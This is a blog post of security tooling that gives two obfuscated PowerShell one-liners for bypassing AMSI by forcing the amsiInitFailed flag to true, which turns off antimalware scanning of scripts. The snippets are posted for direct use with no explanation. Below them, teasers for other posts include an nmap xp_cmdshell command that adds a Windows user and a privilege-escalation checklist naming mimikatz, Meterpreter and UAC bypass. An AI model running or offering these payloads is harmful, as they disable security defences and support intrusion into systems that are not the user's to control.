Skip to main content

AMSI Bypass Techniques

By

 

use https://amsi.fail/ to generate AMSI Bypass techniques  
$iu9nUCYfZjO831cZ6=$null;$t9jdZOULRwE6UwvmtJ="System.$([char]([bYTe]0x4d)+[ChAr]([byTe]0x61)+[char]([BYTe]0x6e)+[ChaR](97*82/82)+[CHaR](103*90/90)+[CHar](101*27/27)+[CHaR]([ByTe]0x6d)+[CHar](101)+[chAR]([bYTe]0x6e)+[CHar]([bYtE]0x74)).$(('Âútômâtì'+'ón').NorMAlIZe([ChAR](70*67/67)+[cHaR]([BYTE]0x6f)+[CHaR]([BYTE]0x72)+[ChaR](109*41/41)+[Char](68+8-8)) -replace [cHAR](92*77/77)+[cHaR]([bYTE]0x70)+[cHAr]([BYtE]0x7b)+[CHaR]([bYte]0x4d)+[Char]([bYTe]0x6e)+[ChAR]([Byte]0x7d)).$(('Ãm'+'sî'+'Ût'+'ìl'+'s').norMALIZe([CHAR](70*53/53)+[chAR](111)+[CHar](114)+[CHar]([BYtE]0x6d)+[CHar]([bYte]0x44)) -replace [CHAR]([ByTe]0x5c)+[cHAR]([BYTE]0x70)+[char](123*9/9)+[chaR]([Byte]0x4d)+[ChaR]([byTE]0x6e)+[cHar](125+3-3))";$sxynqfmtovfgaojvecwrzknwdq="+('kphjwgrxthc'+'úkígùõíqfày'+'lî').norMAlIze([CHAR]([byte]0x46)+[Char](68+43)+[chAR]([ByTe]0x72)+[chaR]([byTE]0x6d)+[ChAr](68*32/32)) -replace [ChAr](92)+[char]([bYTe]0x70)+[Char](123*34/34)+[chAr]([BYTe]0x4d)+[chaR](110+53-53)+[chaR]([BytE]0x7d)";[Threading.Thread]::Sleep(1191);[Ref].Assembly.GetType($t9jdZOULRwE6UwvmtJ).GetField($([chAr]([byTE]0x61)+[ChAR]([BytE]0x6d)+[cHaR](115+66-66)+[ChAr](105+41-41)+[chAr](1+72)+[chAR]([byTE]0x6e)+[cHar](105+5-5)+[ChAr](39+77)+[cHaR]([bYTe]0x46)+[CHAr]([bytE]0x61)+[CHAr]([byte]0x69)+[ChAR]([bYtE]0x6c)+[chaR](101)+[CHAR]([Byte]0x64)),"NonPublic,Static").SetValue($iu9nUCYfZjO831cZ6,$true);$ntohzcuavoxziv="+('z'+'p'+'b').norMALIZE([ChAR]([bYTe]0x46)+[ChAR](111+15-15)+[CHAR](83+31)+[cHAR](109+36-36)+[ChaR]([bYTE]0x44)) -replace [chAR]([BYTe]0x5c)+[cHar](91+21)+[chaR]([BYtE]0x7b)+[cHar]([ByTe]0x4d)+[ChaR](89+21)+[cHaR]([Byte]0x7d)";[Threading.Thread]::Sleep(1845)
sET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"  +"zX"  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile'  ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} ) 

 

 

 

Labels:

Comments

Post a Comment

Popular posts from this blog

SQL DB & SQL Injection Pentest Cheat Sheet

By
1) MSSQL Injection Cheat Sheet | pentestmonkey 2) xp_cmdshell | Red Team tales 3) PentesterMonkey SQL Injection Cheatsheet Use dbeaver for GUI Access 4) SQL Injection Explanation | Graceful Security Common Ports Microsoft SQL: 1433/TCP (default listener) 1434/UDP (browser service) 4022/TCP (service broker) 5022/TCP (AlwaysOn High Availability default) 135/TCP (Transaction SQL Debugger) 2383/TCP (Analysis Services) 2382/TCP (SQL Server Browser Service) 500,4500/UDP (IPSec) 137-138/UDP (NetBios / CIFS) 139/TCP (NetBios CIFS) 445/TCP (CIFS) Oracle SQL: 1521/TCP 1630/TCP 3938/HTTP MongoDB : 27017,27018,27019/TCP PostgreSQL: 8432/TCP MySQL: 3306/TCP SQL DB Enum with nmap: nmap -p 1433 —script ms-sql-info —script-args mssql.instance-port=1433 IP_ADDRESS nmap -Pn -n -sS —script=ms-sql-xp-cmdshell.nse IP_ADDRESS -p1433 —script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net user bhanu bhanu123 /add" nmap -Pn -n -sS —script=ms-sql-xp-cmds...
Post a Comment
Read more

Windows Priv Escallation

By
1.     Windows Privilege Escalation Commands  _ new 2.     Transferring Files to Windows 3.    Priv Esc Commands 4.    Priv Esc Guide  5.    Payload All the Things --> great Coverage 6.    WinRM -- Windows Priv Esc    7. Newb Guide - Windows Pentest    8. Kerberos Attacks Explained     9. How to Attack Kerberos 101    Use PowerSploit/PrivEsc/Powerup.ps1 to find some potential info check for Non-windows processes in windows using netstat Step 1: Check net user and admin and user rights Step 2: Check if we have access of powershell if yes then run powerup.ps1,sherlock.ps1 and JAWS.ps1. Step 3: Try to get Meterpreter. Step 4: Load mimikatz ,try bypass UAC , check SAM SYSTEM etc. Step 5: check for weird programs and registry. Step 6: If the box is Domain Controller - Enum - Enum SMB Users/Ldap Users/ Blood Hound - GUI AD En...
Post a Comment
Read more

Forensics & Crypto

By
Online Decoder --> https://2cyr.com/decode/ Encoding errors -->  https://ftfy.now.sh/ File Signatures List -->  Click here PCAP Analysis: -->  https://www.packettotal.com/ Online Cipher Decryptors: CyberChef  - Cipher Decoder   Crack Station-Hash Cracke r Decrypt Any Kind of Hash 1)  Cipher Statistics 2)  Index of Coincidence Calculator - Online IC Cryptanalysis Tool 3)  Tools List (Awesome and Fantastic Tools) Available on dCode 4)  Solve an Aristocrat or Patristocrat 5)  RSA attack tool (mainly for ctf) - retreive private key from weak public key and/or uncipher data 5-1)  RSA - Find PQ using N 6)  BertNase's Own Hide content in a Image made of blocks - npiet fun! 7)  Vigenere Solver - www.guballa.de 8)  Fernet (Decode) 9)  Unicode Text Steganography Encoders/Decoders 10)  All in ONE encoders and Decoders Tool 11) Cryptii - Decoder Image Forensics: 1)  Forensical...
Post a Comment
Read more